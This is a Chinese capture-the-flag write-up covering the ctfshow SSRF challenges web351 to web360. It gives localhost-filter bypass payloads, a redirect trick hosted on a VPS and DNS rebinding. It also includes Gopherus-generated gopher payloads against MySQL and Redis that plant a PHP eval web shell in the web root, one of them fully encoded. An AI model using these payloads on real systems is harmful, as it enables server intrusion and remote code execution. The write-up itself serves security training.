CTFSHOW-SSRF篇

之前就想着写一下 ctfshow 的 wp，

但由于时间问题，一直没有机会， 其实是懒≥.≤

这次趁着寒假刷几篇ctfshow的文章

那，开始吧。

---

---

---

web351

存在一个flag.php页面，访问会返回不是本地用户的消息，

那我们直接以本地用户去探测内网下的flag.php就可以了

url=http://127.0.0.1/flag.php

web352

增加了http/https的限制



但是注意！这里很多人以为不能有localhost/127.0.0.1,错

他这里的代码写错了

if(!preg_match('/localhost|127.0.0/')

由于没有规定匹配的变量，导致这句话必返回为真

所以上一题的答案依旧可以用

直接拿到flag

url=http://localhost/flag.php

web353

这道题和上一题比较就增加了匹配的变量，不能有localhost/127.0.

绕过方法有很多

进制绕过 		url=http://0x7F000001/flag.php
0.0.0.0绕过		url=http://0.0.0.0/flag.php
特殊的地址0，		url=http://0/flag.php
还有			url=http://127.1/flag.php
还有			url=http://127.0000000000000.001/flag.php

web354

增加了0和1的过滤

这就有些难搞了。。

难道要我买一个域名解析到127.0.0.1 ？

不可能= =坚决白嫖

于是我决定百度找几个



好嘞，问题解决

直接拿flag

url=http://safe.taobao.com//flag.php

域名就放到这里啦

http://safe.taobao.com/
http://114.taobao.com/
http://wifi.aliyun.com/
http://imis.qq.com/
http://localhost.sec.qq.com/
http://ecd.tencent.com/

web355

增加了域名长度小于5的限制

if ((strlen($host) <= 5))

简单，旧方法绕过

特殊的地址0，		url=http://0/flag.php
还有			url=http://127.1/flag.php

web356

将上一题的条件域名长度小于5改成了小于3

特殊的地址0，		url=http://0/flag.php

再次旧方法绕过



值得注意的地方是

0在linux系统中会解析成127.0.0.1，而在windows中会解析成0.0.0.0

web357

增加了一些看不懂的过滤。

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}

echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?>

百度查了一下



过滤器



标志

所以本题要求URL的IP地址不在RFC指定的私有IP范围内（比如 192.168.0.1），且要求值不在保留的IP范围内。

我的想法是通过DNS重绑定来绕过

但国内能买到域名的TTL基本无法为零

所以这里需要用到一个免费网站，可以生成特殊域名来实现dns重绑定

https://lock.cmpxchg8b.com/rebinder.html

但我还没成功，求师傅们指点

另一种方法是302跳转

在自己的vps上写一个php文件，内容为

<?php
header("Location:http://127.0.0.1/flag.php");
?>

然后POST传参

url=http://xx.xx.xx/xxxx.php

服务器会以为是正常ip

但回显信息时会将跳转后的127.0.0.1/flag.php的内容打印

web358

代码中正则的意思是url要以http://ctf.开头，且以show结尾

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

那么可以构造一下绕过

url=http://ctf.@127.0.0.1/flag.php?show

此处ctf.将作为账号登录127.0.0.1，并且向flag.php传一个show参数来绕过

拿到flag

web359

题目是一个登录框

hint为打无密码的mysql



登录处抓包



发现存在reurl参数

并且跳转到check.php文件

此题用到了一个工具Gopherus，用gopher协议打mysql的一个工具

https://github.com/tarunkant/Gopherus

python gopherus.py --exploit mysql
root
select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/aa.php';

将生成的字符_后面的再进行一次URL编码



得到

%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254c%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2540%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2527%2563%256d%2564%2527%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2561%2561%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501

通过POST方式传入

连接蚁剑

flag.txt在根目录

web360

题目

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

跟上题一样，只不过换成打redis

python gopherus.py --exploit redis
phpshell
<?php eval($_POST['cmd']);?>

将生成的字符_后面的再进行一次编码

POST传入

shell写入的地址默认为/shell.php

连接蚁剑

根目录下找到flag

关于gopher协议

gopher的默认端口是70